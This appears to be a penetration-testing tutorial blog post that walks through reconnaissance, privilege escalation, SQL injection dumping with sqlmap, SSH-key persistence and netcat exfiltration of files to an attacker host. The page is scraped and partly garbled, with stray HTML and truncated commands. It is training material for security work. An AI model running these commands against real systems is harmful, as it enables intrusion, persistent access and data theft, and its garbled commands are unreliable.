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Introduction:
The line between offensive and defensive cybersecurity is defined by the tools and knowledge one possesses. Mastering a core set of verified commands is the fundamental differentiator between a novice and a professional penetration tester, enabling the simulation of real-world attacks to fortify defenses.
Learning Objectives:
- Master essential reconnaissance and enumeration commands for Linux and Windows environments.
- Understand and execute common vulnerability exploitation and post-exploitation techniques.
- Learn critical commands for lateral movement, persistence, and data exfiltration.
You Should Know:
1. Network Reconnaissance with Nmap
Nmap is the industry standard for network discovery and security auditing. It is used to discover hosts and services on a computer network by sending packets and analyzing the responses.
nmap -sC -sV -O <target_ip> nmap --script vuln <target_ip> nmap -p- -T4 <target_ip>
Step‑by‑step guide:
- Install Nmap on your Kali Linux or penetration testing machine (
sudo apt install nmap). - Identify your target’s IP address or network range.
- Run a basic service scan:
nmap -sC -sV <target_ip>. This uses default scripts (-sC) and probes open ports to determine service/version information (-sV). - For a full port scan, use
nmap -p- -T4 <target_ip>. The `-p-` flag scans all 65535 ports and `-T4` specifies a faster timing template. - To check for known vulnerabilities, use the `vuln` script category:
nmap --script vuln <target_ip>.
2. Web Directory Bruteforcing with Gobuster
Gobuster is a tool used to brute-force URIs (directories and files) on web servers and DNS subdomains.
gobuster dir -u http://<target_url> -w /usr/share/wordlists/dirb/common.txt gobuster dns -d example.com -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
Step‑by‑step guide:
- Ensure Gobuster is installed (
sudo apt install gobuster). - Select a wordlist. Kali Linux comes with several in
/usr/share/wordlists/. - To find hidden directories, run:
gobuster dir -u http://example.com -w /usr/share/wordlists/dirb/common.txt. - To discover subdomains, use DNS mode:
gobuster dns -d example.com -w</code>.</li> <li>Analyze the results for interesting directories like <code>/admin</code>, <code>/backup</code>, or <code>/api</code>.</li> </ol> <h2 style="color: yellow;">3. Windows Privilege Escalation with PowerUp</h2> PowerUp is a PowerShell tool to assist with local privilege escalation on Windows systems. [bash] Invoke-AllChecks Get-ServiceUnquoted Get-ModifiableServiceFile
Step‑by‑step guide:
- On a compromised Windows machine, gain an initial foothold (e.g., via a reverse shell).
- Transfer the PowerUp.ps1 script to the target machine.
- Import the module into your PowerShell session:
Import-Module .\PowerUp.ps1.
4. Run all privilege escalation checks: `Invoke-AllChecks`.
- The output will highlight misconfigurations like unquoted service paths, modifiable services, or writable service binaries that can be exploited for SYSTEM privileges.
4. Linux Privilege Escalation Enumeration
Manual enumeration is key to finding misconfigurations on Linux targets.
find / -perm -u=s -type f 2>/dev/null sudo -l cat /etc/crontab uname -a
Step‑by‑step guide:
- On a compromised Linux host, check for SUID binaries:
find / -perm -u=s -type f 2>/dev/null. Look for uncommon binaries that can be exploited. - Check the current user's sudo permissions:
sudo -l. Any command allowed to run as root without a password is a direct path to escalation. - Examine scheduled tasks:
cat /etc/crontab. Look for writable scripts or binaries executed by root. - Check kernel version:
uname -a. This can help identify if the system is vulnerable to a known kernel exploit.
5. Exploiting SQL Injection with SQLmap
SQLmap automates the process of detecting and exploiting SQL injection flaws.
sqlmap -u "http://example.com/page?id=1" --dbs sqlmap -u "http://example.com/page?id=1" -D database_name --tables sqlmap -u "http://example.com/page?id=1" -D database_name -T table_name --dump
Step‑by‑step guide:
- Identify a potentially vulnerable parameter (e.g., `http://example.com/page?id=1`).
2. Probe the URL: `sqlmap -u "http://example.com/page?id=1"`. - If a vulnerability is found, enumerate databases:
sqlmap -u "http://example.com/page?id=1" --dbs. - Select a target database and enumerate its tables:
sqlmap -u "http://example.com/page?id=1" -D database_name --tables. - Dump the contents of a specific table:
sqlmap -u "http://example.com/page?id=1" -D database_name -T table_name --dump.
6. Maintaining Access with SSH Authorized Keys
A common method for persistence on a Unix-like system is adding an SSH public key to the `authorized_keys` file.
echo "ssh-rsa AAAAB3NzaC1yc2E..." >> ~/.ssh/authorized_keys chmod 600 ~/.ssh/authorized_keys
Step‑by‑step guide:
- On your attacking machine, generate an SSH keypair if you don't have one:
ssh-keygen. - On the compromised target, ensure the `.ssh` directory exists in the user's home folder:
mkdir -p ~/.ssh. - Append your public key (
id_rsa.pub) to the `authorized_keys` file:echo "" >> ~/.ssh/authorized_keys</code>.</li> </ol> <h2 style="color: yellow;">4. Set the correct permissions: `chmod 600 ~/.ssh/authorized_keys`.</h2> <ol> <li>You can now SSH into the machine without a password: <code>ssh user@<target_ip></code>.</li> </ol> <h2 style="color: yellow;">7. Data Exfiltration using Netcat</h2> Netcat, the "Swiss army knife" of networking, can be used to transfer files out of a network. [bash] On Attacker Machine: nc -lvnp 4444 > received_file On Target Machine: nc -w 3 <attacker_ip> 4444 < file_to_exfiltrate
Step‑by‑step guide:
- On your attacker machine, set up a listener on a specific port (e.g., 4444) and redirect any incoming data to a file:
nc -lvnp 4444 > received_file. - On the compromised target machine, use Netcat to send a file to your listener:
nc -w 3 <attacker_ip> 4444 < /path/to/sensitive_file.db. - The `-w 3` flag tells Netcat to wait 3 seconds for a connection before timing out.
- The file will be transferred and saved as `received_file` on your attacker machine.
What Undercode Say:
- Tool Proficiency is Non-Negotiable. The depth of your command-line knowledge directly correlates with your effectiveness in both finding vulnerabilities and understanding the root cause of a breach. Manual tool usage provides context that automated scanners often lack.
- The Principle of Least Privilege is Constantly Violated. The prevalence of privilege escalation vectors, both on Linux and Windows, underscores a systemic failure in adhering to core security principles. Most breaches escalate not through zero-days, but through misconfigurations and outdated practices.
The consistent theme across penetration testing reports is that automation can find the low-hanging fruit, but it is the manual, knowledgeable use of these core tools that discovers the critical, business-logic flaws and complex attack chains that lead to significant compromise. The modern defender must think like an attacker, and that begins with mastering their toolkit.
Prediction:
The increasing complexity of hybrid cloud environments and the rapid integration of AI-powered services will create a new wave of attack surfaces. While the fundamental commands for reconnaissance and exploitation will remain relevant, penetration testers will need to adapt by mastering cloud-specific CLI tools (AWS CLI, Azure PowerShell) and developing methodologies to audit AI APIs and data pipelines for novel inference poisoning and model theft attacks. The demand for professionals who can articulate these risks through practical demonstration will skyrocket.
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- On your attacker machine, set up a listener on a specific port (e.g., 4444) and redirect any incoming data to a file:
